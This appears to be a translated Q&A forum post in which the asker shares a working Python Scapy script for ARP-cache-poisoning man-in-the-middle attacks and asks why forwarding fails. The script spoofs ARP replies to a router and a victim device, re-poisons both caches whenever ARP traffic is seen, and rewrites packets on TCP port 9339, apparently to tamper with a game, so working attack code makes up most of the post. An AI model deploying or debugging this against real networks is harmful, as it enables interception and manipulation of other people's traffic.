Intentando reproducir el ataque MiTM

2

En primer lugar, me gustaría aclarar 2 puntos:

  • He dudado entre publicar aquí o en stackoverflow. Realmente no entiendo si es mi código o algún tipo de seguridad en mi enrutador. Por lo tanto, si cree que esta pregunta no debería publicarse allí, no dude en marcarla
  • Si crees que estoy tratando de violar, hackear o lo que sea, te ruego que no informes mi pregunta. Si quisiera, preferiría usar uno de esos numerosos souftware -clickbait-.

Para lograr esto, estoy usando la conocida biblioteca de creación de paquetes Scapy.

En primer lugar, estoy recuperando la dirección MAC del enrutador y la víctima. Luego, elaboro 2 paquetes ARP is-at , uno para el enrutador y otro para la víctima, para colocar mi computadora en medio de ellos.

def main():
    print("\nIP address of your router/box :")
    ipserveur = raw_input()
    print("\nIP address of your device playing CC :")
    ipvictime = raw_input()
    print("\nResolving mac address of your router/box...")
    arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ipserveur)
    rep, nonrep = srp(arp, timeout=3, verbose=0)
    if(rep):
        macserveur = rep[0][1].hwsrc
        print("Router mac address is "+macserveur)
    else: print("Unable to resolve mac address of your router")
    arp.pdst = ipvictime
    print("Resolving mac address of your device...")
    arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ipvictime)
    rep, nonrep = srp(arp, timeout=3, verbose=0)
    if(rep):
        macvictime = rep[0][1].hwsrc
        print("Device mac address is "+macvictime)
    else: print("Unable to resolve mac address of your device")
    if('macserveur' in locals() and 'macvictime' in locals()):
        print("\nCompromising serveur arp cache")
        arpserveur = Ether(dst=macserveur)/ARP(op="is-at",psrc=ipvictime,hwdst=macserveur,pdst=ipserveur)
        arpvictime = Ether(dst=macvictime)/ARP(op="is-at",psrc=ipserveur,hwdst=macvictime,pdst=ipvictime)
        arpserveur.show()
        arpvictime.show()
        sendp(arpserveur, verbose=0)
        sendp(arpvictime, verbose=0)
        print("Serveur cache compromised")
        while True:
            pkt = sniff(count=1)
            pkt.show()
            filtrer(pkt, arpserveur, arpvictime)   

    else:
        print("Fatal error, stopping...")

Una vez que logre esto, estoy olfateando el paquete. Si detecto un paquete ARP, estoy volviendo a compaginar el caché ARP del servidor y la víctima. Si huelo un paquete que coincide con mi filtro, lo edito y lo envío al destinatario. En otro caso, simplemente lo envío al destinatario.

Esto debería imitar la herramienta ip_forwarding que está desactivada en la aplicación de mi computadora Debian y puedo editar el paquete entre el servidor y la víctima.

def filtrer(pkt, arpserveur, arpvictime):
    if(ARP in pkt[0]): 
        #if arp packet on the network, then compromise arp cache again
        print("Recomprimising arp cache again")
        sendp(arpserveur, verbose=0)
        sendp(arpvictime, verbose=0)   
    elif(TCP in pkt[0] and (pkt[0].dport==9339 or pkt[0].sport==9339)):
        #if port = 9339, detected connection to the game
        editCC(pkt)
        #forward the edited packet
        sendp(pkt, verbose=0)
    else:
        #forward the packet
        print("Forwarding packet ")
        sendp(pkt, verbose=0)

Entonces, sí, básicamente, ¿cuál es el problema? Tengo muchos errores extraños.

  1. Cuando lanzo el ataque, a veces funciona durante unos segundos, pero el paquete no parece ser reenviado correctamente porque la víctima ya no tiene Internet. Significa que su solicitud nunca llega al enrutador o que la respuesta nunca llega a la víctima.
  2. A veces, el caché ARP del atacante parece estar comprometido también. O al menos fastidiado. Tengo que hacer sudo arp para reactivar la caché arp porque no puedo enviar solicitudes a ningún dispositivo / enrutador en mi red. Como si me hubieran prohibido.

Tengo un enrutador totalmente normal ya que estoy experimentando esto en casa. Básicamente, no es una red segura, por lo que no debería ser segura de ninguna manera. ¡Siéntase libre de pedir cualquier precisión que necesite para aclarar la situación!

    
pregunta Xavier59 26.09.2016 - 19:18
fuente

0 respuestas

Lea otras preguntas en las etiquetas